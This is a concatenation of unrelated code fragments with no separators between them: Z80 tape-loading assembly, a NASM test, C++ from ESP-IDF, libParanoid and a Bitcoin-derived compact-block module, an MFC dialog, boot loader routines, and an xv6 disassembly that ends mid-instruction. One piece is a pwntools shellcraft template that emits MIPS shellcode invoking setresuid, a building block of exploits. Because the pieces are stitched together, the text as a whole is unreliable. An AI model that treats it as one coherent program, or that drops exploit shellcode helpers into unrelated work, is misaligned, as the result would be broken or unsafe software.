appear before B rises to $FF CALL LD_EDGE_1 ; routine LD-EDGE-1 RET NC ; return with time-out. ; proceed when the sync at the end of the lead-in is found. ; We are about to load data so change the border colours. LD A,C ; fetch long-term mask from C XOR $03 ; and make blue/yellow. LD C,A ; store the new long-term byte. JR RRR ; -------------- ; the loading loop loads each byte and is entered at the mid point. LD_LOOP: LD (IX+$00),L ; place loaded byte at memory location. LD_NEXT: CALL NEXT_IX ; INC IX ; increment byte pointer. LD_DEC: INC DE ; decrement length. RRR: LD B,$B2 ; timing. ; when starting to read 8 bits the receiving byte is marked with bit at right. ; when this is rotated out again then 8 bits have been read. LD_MARKER: LD L,$01 ; initialize as %00000001 LD_8_BITS: CALL LD_EDGE_2 ; routine LD-EDGE-2 increments B relative to ; gap between 2 edges. RET NC ; return with time-out. LD A,$CB ; the comparison byte. CP B ; compare to incremented value of B. ; if B is higher then bit on tape was set. ; if <= then bit on tape is reset. RL L ; rotate the carry bit into L. LD B,$B0 ; reset the B timer byte. JP NC,LD_8_BITS ; JUMP back to LD-8-BITS ; when carry set then marker bit has been passed out and byte is complete. JR LD_LOOP ; back to LD-LOOP ; while there are more. ; ------------------------- ; Check signal being loaded ; ------------------------- ; An edge is a transition from one mic state to another. ; More specifically a change in bit 6 of value input from port $FE. ; Graphically it is a change of border colour, say, blue to yellow. ; The first entry point looks for two adjacent edges. The second entry point ; is used to find a single edge. ; The B register holds a count, up to 256, within which the edge (or edges) ; must be found. The gap between two edges will be more for a '1' than a '0' ; so the value of B denotes the state of the bit (two edges) read from tape. STRAM: LD IX,RAM XOR A CALL OUTPG RET NEXT_IX: EXX EX AF,AF' INC IX ; increment byte pointer. PUSH IX POP HL LD A,H CP $48 JR NC,PGK LD A,L CP $20 JR NC,PGK PG20: LD IXL,$20 JR EX_INCIX PGK: LD A,H CP $58 JR NZ,PGKK LD A,L CP $20 JR NC,PGKK JR PG20 PGKK: LD A,$80 CP H ;CP IXH JR NZ,PAGING LD IX,$8200 JR EX_INCIX PAGING: LD A,H OR L ;LD A,IXH ;OR IXL JR NZ,EX_INCIX LD IX,$C000 LD A,(PG_RAM) NXT_PG: INC A CP 2 JR Z,NXT_PG CP 5 JR Z,NXT_PG CP 8 JR NZ,CHPG LD SP,STACK-2 JP END_LOAD CHPG: CALL OUTPG EX_INCIX: EX AF,AF' EXX RET OUTPG: LD (PG_RAM),A PUSH BC LD BC,0x7ffd OR $10 ; ROM 48K BASIC OUT (C),A POP BC RET DEFS (8) STACK PG_RAM DB 0 PG_BLK DB 0 RAM_LOAD: END START
mov r1, 2 mov r2, 6 cge r1, 1 cpw r1, r2 cad r1, 1 out r1
global test_case extern Array.splitq extern Array.eachq extern std.outq extern std.outln extern sys.error %include "Array.inc" section .text test_case: mov rax, test_array ; Array to split mov rbx, 3 ; delimit with value 3 call Array.splitq ; split into two arrays (plus delimiter) push qword[rcx+Array.length] ; preserve leftover length mov rbx, std.outq ; fn to call call Array.eachq ; print values from array mov rax, empty_str ; empty message call std.outln ; end line pop rax ; restore length call sys.error ; exit with array length section .data test_qwords: dq 0x1, 0x2, 0x3, 0x4, 0x5, 0x6 empty_str: db 0x0 test_array: istruc Array at Array.pdata, dq test_qwords at Array.length, dq 6 iend
/* The MIT License (MIT) Copyright (c) 2017-2022 Tim Warburton, Noel Chalmers, Jesse Chan, Ali Karakus Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "bk3.hpp" int main(int argc, char **argv){ // start up MPI comm_t::Init(argc, argv); { /*Scope so everything is destructed before MPI_Finalize */ comm_t comm(comm_t::world().Dup()); bk3Settings_t settings(argc, argv, comm); if (settings.compareSetting("VERBOSE", "TRUE")) settings.report(); // set up platform platform_t platform(settings); // set up mesh mesh_t mesh(platform, settings, comm); dfloat lambda = 1.0; // settings.getSetting("LAMBDA", lambda); // set up bp solver bk3_t bk(platform, settings, mesh, lambda); // run bk.Run(); } // close down MPI comm_t::Finalize(); return LIBP_SUCCESS; }
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="ruid, euid, suid"/> <%docstring> Invokes the syscall setresuid. See 'man 2 setresuid' for more information. Arguments: ruid(uid_t): ruid euid(uid_t): euid suid(uid_t): suid </%docstring> ${syscall('SYS_setresuid', ruid, euid, suid)}
; ; ANSI Video handling for the Sharp X1 ; ; ANSI Video handling for the Commodore 128 (Z80 mode) ; By Stefano Bodrato - 22/08/2001 ; ; Text Attributes ; m - Set Graphic Rendition ; ; $Id: f_ansi_attr.asm,v 1.6 2016-07-14 17:44:18 pauloscustodio Exp $ ; SECTION code_clib PUBLIC ansi_attr ;EXTERN INVRS EXTERN ATTR .ansi_attr and a jr nz,noreset ;ld a,15 ;White on black ld a,7 ;White on black ld (ATTR+1),a ; xor a ; ld (INVRS+1),a ret .noreset cp 1 jr nz,nobold ld a,(ATTR+1) set 3,a ld (ATTR+1),a ; ld a,128 ; ld (INVRS+1),a ret .nobold cp 2 jr z,dim cp 8 jr nz,nodim .dim ld a,(ATTR+1) res 3,a ld (ATTR+1),a ret .nodim cp 4 jr nz,nounderline ld a,(ATTR+1) set 4,a ld (ATTR+1),a ret .nounderline cp 24 jr nz,noCunderline ld a,(ATTR+1) res 4,a ld (ATTR+1),a ret .noCunderline cp 5 jr nz,noblink ld a,(ATTR+1) set 4,a ld (ATTR+1),a ret .noblink cp 25 jr nz,nocblink ld a,(ATTR+1) res 4,a ld (ATTR+1),a ret .nocblink cp 7 jr nz,noreverse ld a,(ATTR+1) set 3,a ld (ATTR+1),a ret .noreverse cp 27 jr nz,noCreverse ld a,(ATTR+1) res 3,a ld (ATTR+1),a ret .noCreverse cp 8 jr nz,noinvis ld a,(ATTR+1) ld (oldattr),a and @11110000 ld e,a rra rra rra rra or e ld (ATTR+1),a ret .oldattr defb 0 .noinvis cp 28 jr nz,nocinvis ld a,(oldattr) ld (ATTR+1),a ret .nocinvis cp 30 jp m,nofore cp 37+1 jp p,nofore sub 30 call palette ;'''''''''''''''''''''' ld (ATTR+1),a ret .nofore cp 40 jp m,noback cp 47+1 jp p,noback sub 40 ; Workaround for background: we force to inverse video. call palette ; could work in some cases, but isn't much compatible ! set 3,a ;'''''''''''''''''''''' ; ld (53280),a ;border ; ld (53281),a ;background ld (ATTR+1),a ;ld a,128 ;ld (INVRS+1),a .noback ret .palette ;'' Palette Handling '' ld e,a ld d,0 ld hl,attrtab add hl,de ld a,(hl) ret .attrtab defb 0 defb 2 defb 4 defb 6 defb 1 defb 3 defb 5 defb 7
// Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "nvs_pagemanager.hpp" namespace nvs { esp_err_t PageManager::load(uint32_t baseSector, uint32_t sectorCount) { mBaseSector = baseSector; mPageCount = sectorCount; mPageList.clear(); mFreePageList.clear(); mPages.reset(new Page[sectorCount]); for (uint32_t i = 0; i < sectorCount; ++i) { auto err = mPages[i].load(baseSector + i); if (err != ESP_OK) { return err; } uint32_t seqNumber; if (mPages[i].getSeqNumber(seqNumber) != ESP_OK) { mFreePageList.push_back(&mPages[i]); } else { auto pos = std::find_if(std::begin(mPageList), std::end(mPageList), [=](const Page& page) -> bool { uint32_t otherSeqNumber; return page.getSeqNumber(otherSeqNumber) == ESP_OK && otherSeqNumber > seqNumber; }); if (pos == mPageList.end()) { mPageList.push_back(&mPages[i]); } else { mPageList.insert(pos, &mPages[i]); } } } if (mPageList.empty()) { mSeqNumber = 0; return activatePage(); } else { uint32_t lastSeqNo; ESP_ERROR_CHECK( mPageList.back().getSeqNumber(lastSeqNo) ); mSeqNumber = lastSeqNo + 1; } // if power went out after a new item for the given key was written, // but before the old one was erased, we end up with a duplicate item Page& lastPage = back(); size_t lastItemIndex = SIZE_MAX; Item item; size_t itemIndex = 0; while (lastPage.findItem(Page::NS_ANY, ItemType::ANY, nullptr, itemIndex, item) == ESP_OK) { itemIndex += item.span; lastItemIndex = itemIndex; } if (lastItemIndex != SIZE_MAX) { auto last = PageManager::TPageListIterator(&lastPage); for (auto it = begin(); it != last; ++it) { if (it->eraseItem(item.nsIndex, item.datatype, item.key) == ESP_OK) { break; } } } // check if power went out while page was being freed for (auto it = begin(); it!= end(); ++it) { if (it->state() == Page::PageState::FREEING) { /* Page* newPage = &mPageList.back(); if (newPage->state() != Page::PageState::ACTIVE) { auto err = activatePage(); if (err != ESP_OK) { return err; } newPage = &mPageList.back(); } while (true) { auto err = it->moveItem(*newPage); if (err == ESP_ERR_NVS_NOT_FOUND) { break; } else if (err != ESP_OK) { return err; } }*/ auto err = it->erase(); if (err != ESP_OK) { return err; } Page* p = static_cast<Page*>(it); mPageList.erase(it); mFreePageList.push_back(p); break; } } // partition should have at least one free page if (mFreePageList.size() == 0) { return ESP_ERR_NVS_NO_FREE_PAGES; } return ESP_OK; } esp_err_t PageManager::requestNewPage() { if (mFreePageList.empty()) { return ESP_ERR_NVS_INVALID_STATE; } // do we have at least two free pages? in that case no erasing is required if (mFreePageList.size() >= 2) { return activatePage(); } // find the page with the higest number of erased items TPageListIterator maxErasedItemsPageIt; size_t maxErasedItems = 0; for (auto it = begin(); it != end(); ++it) { auto erased = it->getErasedEntryCount(); if (erased > maxErasedItems) { maxErasedItemsPageIt = it; maxErasedItems = erased; } } if (maxErasedItems == 0) { return ESP_ERR_NVS_NOT_ENOUGH_SPACE; } esp_err_t err = activatePage(); if (err != ESP_OK) { return err; } Page* newPage = &mPageList.back(); Page* erasedPage = maxErasedItemsPageIt; #ifndef NDEBUG size_t usedEntries = erasedPage->getUsedEntryCount(); #endif err = erasedPage->markFreeing(); if (err != ESP_OK) { return err; } while (true) { err = erasedPage->moveItem(*newPage); if (err == ESP_ERR_NVS_NOT_FOUND) { break; } else if (err != ESP_OK) { return err; } } err = erasedPage->erase(); if (err != ESP_OK) { return err; } #ifndef NDEBUG assert(usedEntries == newPage->getUsedEntryCount()); #endif mPageList.erase(maxErasedItemsPageIt); mFreePageList.push_back(erasedPage); return ESP_OK; } esp_err_t PageManager::activatePage() { if (mFreePageList.empty()) { return ESP_ERR_NVS_NOT_ENOUGH_SPACE; } Page* p = &mFreePageList.front(); if (p->state() == Page::PageState::CORRUPT) { auto err = p->erase(); if (err != ESP_OK) { return err; } } mFreePageList.pop_front(); mPageList.push_back(p); p->setSeqNumber(mSeqNumber); ++mSeqNumber; return ESP_OK; } } // namespace nvs
// Copyright (c) 2016 The Stardust Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "blockencodings.h" #include "consensus/consensus.h" #include "consensus/validation.h" #include "chainparams.h" #include "hash.h" #include "random.h" #include "streams.h" #include "txmempool.h" #include "main.h" #include "util.h" #include <unordered_map> #define MIN_TRANSACTION_BASE_SIZE (::GetSerializeSize(CTransaction(), SER_NETWORK, PROTOCOL_VERSION | SERIALIZE_TRANSACTION_NO_WITNESS)) CBlockHeaderAndShortTxIDs::CBlockHeaderAndShortTxIDs(const CBlock& block) : nonce(GetRand(std::numeric_limits<uint64_t>::max())), shorttxids(block.vtx.size() - 1), prefilledtxn(1), header(block) { FillShortTxIDSelector(); //TODO: Use our mempool prior to block acceptance to predictively fill more than just the coinbase prefilledtxn[0] = {0, block.vtx[0]}; for (size_t i = 1; i < block.vtx.size(); i++) { const CTransaction& tx = block.vtx[i]; shorttxids[i - 1] = GetShortID(tx.GetHash()); } } void CBlockHeaderAndShortTxIDs::FillShortTxIDSelector() const { CDataStream stream(SER_NETWORK, PROTOCOL_VERSION); stream << header << nonce; CSHA256 hasher; hasher.Write((unsigned char*)&(*stream.begin()), stream.end() - stream.begin()); uint256 shorttxidhash; hasher.Finalize(shorttxidhash.begin()); shorttxidk0 = shorttxidhash.GetUint64(0); shorttxidk1 = shorttxidhash.GetUint64(1); } uint64_t CBlockHeaderAndShortTxIDs::GetShortID(const uint256& txhash) const { static_assert(SHORTTXIDS_LENGTH == 6, "shorttxids calculation assumes 6-byte shorttxids"); return SipHashUint256(shorttxidk0, shorttxidk1, txhash) & 0xffffffffffffL; } ReadStatus PartiallyDownloadedBlock::InitData(const CBlockHeaderAndShortTxIDs& cmpctblock) { if (cmpctblock.header.IsNull() || (cmpctblock.shorttxids.empty() && cmpctblock.prefilledtxn.empty())) return READ_STATUS_INVALID; if (cmpctblock.shorttxids.size() + cmpctblock.prefilledtxn.size() > MAX_BLOCK_BASE_SIZE / MIN_TRANSACTION_BASE_SIZE) return READ_STATUS_INVALID; assert(header.IsNull() && txn_available.empty()); header = cmpctblock.header; txn_available.resize(cmpctblock.BlockTxCount()); int32_t lastprefilledindex = -1; for (size_t i = 0; i < cmpctblock.prefilledtxn.size(); i++) { if (cmpctblock.prefilledtxn[i].tx.IsNull()) return READ_STATUS_INVALID; lastprefilledindex += cmpctblock.prefilledtxn[i].index + 1; //index is a uint16_t, so cant overflow here if (lastprefilledindex > std::numeric_limits<uint16_t>::max()) return READ_STATUS_INVALID; if ((uint32_t)lastprefilledindex > cmpctblock.shorttxids.size() + i) { // If we are inserting a tx at an index greater than our full list of shorttxids // plus the number of prefilled txn we've inserted, then we have txn for which we // have neither a prefilled txn or a shorttxid! return READ_STATUS_INVALID; } txn_available[lastprefilledindex] = std::make_shared<CTransaction>(cmpctblock.prefilledtxn[i].tx); } prefilled_count = cmpctblock.prefilledtxn.size(); // Calculate map of txids -> positions and check mempool to see what we have (or dont) // Because well-formed cmpctblock messages will have a (relatively) uniform distribution // of short IDs, any highly-uneven distribution of elements can be safely treated as a // READ_STATUS_FAILED. std::unordered_map<uint64_t, uint16_t> shorttxids(cmpctblock.shorttxids.size()); uint16_t index_offset = 0; for (size_t i = 0; i < cmpctblock.shorttxids.size(); i++) { while (txn_available[i + index_offset]) index_offset++; shorttxids[cmpctblock.shorttxids[i]] = i + index_offset; // To determine the chance that the number of entries in a bucket exceeds N, // we use the fact that the number of elements in a single bucket is // binomially distributed (with n = the number of shorttxids S, and p = // 1 / the number of buckets), that in the worst case the number of buckets is // equal to S (due to std::unordered_map having a default load factor of 1.0), // and that the chance for any bucket to exceed N elements is at most // buckets * (the chance that any given bucket is above N elements). // Thus: P(max_elements_per_bucket > N) <= S * (1 - cdf(binomial(n=S,p=1/S), N)). // If we assume blocks of up to 16000, allowing 12 elements per bucket should // only fail once per ~1 million block transfers (per peer and connection). if (shorttxids.bucket_size(shorttxids.bucket(cmpctblock.shorttxids[i])) > 12) return READ_STATUS_FAILED; } // TODO: in the shortid-collision case, we should instead request both transactions // which collided. Falling back to full-block-request here is overkill. if (shorttxids.size() != cmpctblock.shorttxids.size()) return READ_STATUS_FAILED; // Short ID collision std::vector<bool> have_txn(txn_available.size()); LOCK(pool->cs); const std::vector<std::pair<uint256, CTxMemPool::txiter> >& vTxHashes = pool->vTxHashes; for (size_t i = 0; i < vTxHashes.size(); i++) { uint64_t shortid = cmpctblock.GetShortID(vTxHashes[i].first); std::unordered_map<uint64_t, uint16_t>::iterator idit = shorttxids.find(shortid); if (idit != shorttxids.end()) { if (!have_txn[idit->second]) { txn_available[idit->second] = vTxHashes[i].second->GetSharedTx(); have_txn[idit->second] = true; mempool_count++; } else { // If we find two mempool txn that match the short id, just request it. // This should be rare enough that the extra bandwidth doesn't matter, // but eating a round-trip due to FillBlock failure would be annoying if (txn_available[idit->second]) { txn_available[idit->second].reset(); mempool_count--; } } } // Though ideally we'd continue scanning for the two-txn-match-shortid case, // the performance win of an early exit here is too good to pass up and worth // the extra risk. if (mempool_count == shorttxids.size()) break; } LogPrint("cmpctblock", "Initialized PartiallyDownloadedBlock for block %s using a cmpctblock of size %lu\n", cmpctblock.header.GetHash().ToString(), cmpctblock.GetSerializeSize(SER_NETWORK, PROTOCOL_VERSION)); return READ_STATUS_OK; } bool PartiallyDownloadedBlock::IsTxAvailable(size_t index) const { assert(!header.IsNull()); assert(index < txn_available.size()); return txn_available[index] ? true : false; } ReadStatus PartiallyDownloadedBlock::FillBlock(CBlock& block, const std::vector<CTransaction>& vtx_missing) const { assert(!header.IsNull()); block = header; block.vtx.resize(txn_available.size()); size_t tx_missing_offset = 0; for (size_t i = 0; i < txn_available.size(); i++) { if (!txn_available[i]) { if (vtx_missing.size() <= tx_missing_offset) return READ_STATUS_INVALID; block.vtx[i] = vtx_missing[tx_missing_offset++]; } else block.vtx[i] = *txn_available[i]; } if (vtx_missing.size() != tx_missing_offset) return READ_STATUS_INVALID; CValidationState state; if (!CheckBlock(block, state, Params().GetConsensus())) { // TODO: We really want to just check merkle tree manually here, // but that is expensive, and CheckBlock caches a block's // "checked-status" (in the CBlock?). CBlock should be able to // check its own merkle root and cache that check. if (state.CorruptionPossible()) return READ_STATUS_FAILED; // Possible Short ID collision return READ_STATUS_INVALID; } LogPrint("cmpctblock", "Successfully reconstructed block %s with %lu txn prefilled, %lu txn from mempool and %lu txn requested\n", header.GetHash().ToString(), prefilled_count, mempool_count, vtx_missing.size()); if (vtx_missing.size() < 5) { for(const CTransaction& tx : vtx_missing) LogPrint("cmpctblock", "Reconstructed block %s required tx %s\n", header.GetHash().ToString(), tx.GetHash().ToString()); } return READ_STATUS_OK; }
// MediaPlayerTestDlg.cpp : implementation file // #include "stdafx.h" #include "MediaPlayerTest.h" #include "MediaPlayerTestDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); // Dialog Data //{{AFX_DATA(CAboutDlg) enum { IDD = IDD_ABOUTBOX }; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CAboutDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: //{{AFX_MSG(CAboutDlg) //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { //{{AFX_DATA_INIT(CAboutDlg) //}}AFX_DATA_INIT } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CAboutDlg) //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //{{AFX_MSG_MAP(CAboutDlg) // No message handlers //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CMediaPlayerTestDlg dialog CMediaPlayerTestDlg::CMediaPlayerTestDlg(CWnd* pParent /*=NULL*/) : CDialog(CMediaPlayerTestDlg::IDD, pParent) { //{{AFX_DATA_INIT(CMediaPlayerTestDlg) // NOTE: the ClassWizard will add member initialization here //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CMediaPlayerTestDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CMediaPlayerTestDlg) // NOTE: the ClassWizard will add DDX and DDV calls here //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CMediaPlayerTestDlg, CDialog) //{{AFX_MSG_MAP(CMediaPlayerTestDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CMediaPlayerTestDlg message handlers BOOL CMediaPlayerTestDlg::OnInitDialog() { CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here return TRUE; // return TRUE unless you set the focus to a control } void CMediaPlayerTestDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); } } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CMediaPlayerTestDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CMediaPlayerTestDlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } void CMediaPlayerTestDlg::OnOK() { } void CMediaPlayerTestDlg::OnCancel() { MessageBox("Hello"); }
; A271324: a(n) = n + floor(n/4) + (n mod 4). ; 0,2,4,6,5,7,9,11,10,12,14,16,15,17,19,21,20,22,24,26,25,27,29,31,30,32,34,36,35,37,39,41,40,42,44,46,45,47,49,51,50,52,54,56,55,57,59,61,60,62,64,66,65,67,69,71,70,72,74,76,75,77,79,81,80,82,84,86,85,87,89,91,90,92,94,96,95,97,99,101,100,102,104,106,105,107,109,111,110,112,114,116,115,117,119,121,120,122,124,126 mov $2,$0 div $2,4 sub $0,$2 mul $0,2 sub $0,$2
; Various sub-routines that will be useful to the boot loader code ; Output Carriage-Return/Line-Feed (CRLF) sequence to screen using BIOS Console_Write_CRLF: mov ah, 0Eh ; Output CR mov al, 0Dh int 10h mov al, 0Ah ; Output LF int 10h ret ; Write to the console using BIOS. ; ; Input: SI points to a null-terminated string Console_Write_16: mov ah, 0Eh ; BIOS call to output value in AL to screen Console_Write_16_Repeat: mov al, [si] inc si test al, al ; If the byte is 0, we are done je Console_Write_16_Done int 10h ; Output character to screen jmp Console_Write_16_Repeat Console_Write_16_Done: ret ; Write string to the console using BIOS followed by CRLF ; ; Input: SI points to a null-terminated string Console_WriteLine_16: call Console_Write_16 call Console_Write_CRLF ret
.fs/rm: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %rbp int i; if(argc < 2){ 1: 83 ff 01 cmp $0x1,%edi #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 4: 48 89 e5 mov %rsp,%rbp 7: 41 55 push %r13 9: 41 54 push %r12 b: 53 push %rbx c: 50 push %rax int i; if(argc < 2){ d: 7f 15 jg 24 <main+0x24> printf(2, "Usage: rm files...\n"); f: 48 c7 c6 40 06 00 00 mov $0x640,%rsi 16: bf 02 00 00 00 mov $0x2,%edi 1b: 31 c0 xor %eax,%eax 1d: e8 dc 02 00 00 callq 2fe <printf> 22: eb 3d jmp 61 <main+0x61> 24: 48 8d 5e 08 lea 0x8(%rsi),%rbx 28: 41 89 fd mov %edi,%r13d int main(int argc, char *argv[]) { int i; if(argc < 2){ 2b: 41 bc 01 00 00 00 mov $0x1,%r12d printf(2, "Usage: rm files...\n"); exit(); } for(i = 1; i < argc; i++){ if(unlink(argv[i]) < 0){ 31: 48 8b 3b mov (%rbx),%rdi 34: e8 e2 01 00 00 callq 21b <unlink> 39: 85 c0 test %eax,%eax 3b: 79 18 jns 55 <main+0x55> printf(2, "rm: %s failed to delete\n", argv[i]); 3d: 48 8b 13 mov (%rbx),%rdx 40: 48 c7 c6 54 06 00 00 mov $0x654,%rsi 47: bf 02 00 00 00 mov $0x2,%edi 4c: 31 c0 xor %eax,%eax 4e: e8 ab 02 00 00 callq 2fe <printf> break; 53: eb 0c jmp 61 <main+0x61> if(argc < 2){ printf(2, "Usage: rm files...\n"); exit(); } for(i = 1; i < argc; i++){ 55: 41 ff c4 inc %r12d 58: 48 83 c3 08 add $0x8,%rbx 5c: 45 39 e5 cmp %r12d,%r13d 5f: 75 d0 jne 31 <main+0x31> printf(2, "rm: %s failed to delete\n", argv[i]); break; } } exit(); 61: e8 65 01 00 00 callq 1cb <exit> 0000000000000066 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 66: 55 push %rbp 67: 48 89 f8 mov %rdi,%rax char *os; os = s; while((*s++ = *t++) != 0) 6a: 31 d2 xor %edx,%edx #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 6c: 48 89 e5 mov %rsp,%rbp char *os; os = s; while((*s++ = *t++) != 0) 6f: 8a 0c 16 mov (%rsi,%rdx,1),%cl 72: 88 0c 10 mov %cl,(%rax,%rdx,1) 75: 48 ff c2 inc %rdx 78: 84 c9 test %cl,%cl 7a: 75 f3 jne 6f <strcpy+0x9> ; return os; } 7c: 5d pop %rbp 7d: c3 retq 000000000000007e <strcmp>: int strcmp(const char *p, const char *q) { 7e: 55 push %rbp 7f: 48 89 e5 mov %rsp,%rbp while(*p && *p == *q) 82: 0f b6 07 movzbl (%rdi),%eax 85: 84 c0 test %al,%al 87: 74 0c je 95 <strcmp+0x17> 89: 3a 06 cmp (%rsi),%al 8b: 75 08 jne 95 <strcmp+0x17> p++, q++; 8d: 48 ff c7 inc %rdi 90: 48 ff c6 inc %rsi 93: eb ed jmp 82 <strcmp+0x4> return (uchar)*p - (uchar)*q; 95: 0f b6 16 movzbl (%rsi),%edx } 98: 5d pop %rbp int strcmp(const char *p, const char *q) { while(*p && *p == *q) p++, q++; return (uchar)*p - (uchar)*q; 99: 29 d0 sub %edx,%eax } 9b: c3 retq 000000000000009c <strlen>: uint strlen(const char *s) { 9c: 55 push %rbp int n; for(n = 0; s[n]; n++) 9d: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 9f: 48 89 e5 mov %rsp,%rbp a2: 48 8d 50 01 lea 0x1(%rax),%rdx int n; for(n = 0; s[n]; n++) a6: 80 7c 17 ff 00 cmpb $0x0,-0x1(%rdi,%rdx,1) ab: 74 05 je b2 <strlen+0x16> ad: 48 89 d0 mov %rdx,%rax b0: eb f0 jmp a2 <strlen+0x6> ; return n; } b2: 5d pop %rbp b3: c3 retq 00000000000000b4 <memset>: void* memset(void *dst, int c, uint n) { b4: 55 push %rbp b5: 49 89 f8 mov %rdi,%r8 } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : b8: 89 d1 mov %edx,%ecx ba: 89 f0 mov %esi,%eax bc: 48 89 e5 mov %rsp,%rbp bf: fc cld c0: f3 aa rep stos %al,%es:(%rdi) stosb(dst, c, n); return dst; } c2: 4c 89 c0 mov %r8,%rax c5: 5d pop %rbp c6: c3 retq 00000000000000c7 <strchr>: char* strchr(const char *s, char c) { c7: 55 push %rbp c8: 48 89 e5 mov %rsp,%rbp for(; *s; s++) cb: 8a 07 mov (%rdi),%al cd: 84 c0 test %al,%al cf: 74 0a je db <strchr+0x14> if(*s == c) d1: 40 38 f0 cmp %sil,%al d4: 74 09 je df <strchr+0x18> } char* strchr(const char *s, char c) { for(; *s; s++) d6: 48 ff c7 inc %rdi d9: eb f0 jmp cb <strchr+0x4> if(*s == c) return (char*)s; return 0; db: 31 c0 xor %eax,%eax dd: eb 03 jmp e2 <strchr+0x1b> df: 48 89 f8 mov %rdi,%rax } e2: 5d pop %rbp e3: c3 retq 00000000000000e4 <gets>: char* gets(char *buf, int max) { e4: 55 push %rbp e5: 48 89 e5 mov %rsp,%rbp e8: 41 57 push %r15 ea: 41 56 push %r14 ec: 41 55 push %r13 ee: 41 54 push %r12 f0: 41 89 f7 mov %esi,%r15d f3: 53 push %rbx f4: 49 89 fc mov %rdi,%r12 f7: 49 89 fe mov %rdi,%r14 int i, cc; char c; for(i=0; i+1 < max; ){ fa: 31 db xor %ebx,%ebx return 0; } char* gets(char *buf, int max) { fc: 48 83 ec 18 sub $0x18,%rsp int i, cc; char c; for(i=0; i+1 < max; ){ 100: 44 8d 6b 01 lea 0x1(%rbx),%r13d 104: 45 39 fd cmp %r15d,%r13d 107: 7d 2c jge 135 <gets+0x51> cc = read(0, &c, 1); 109: 48 8d 75 cf 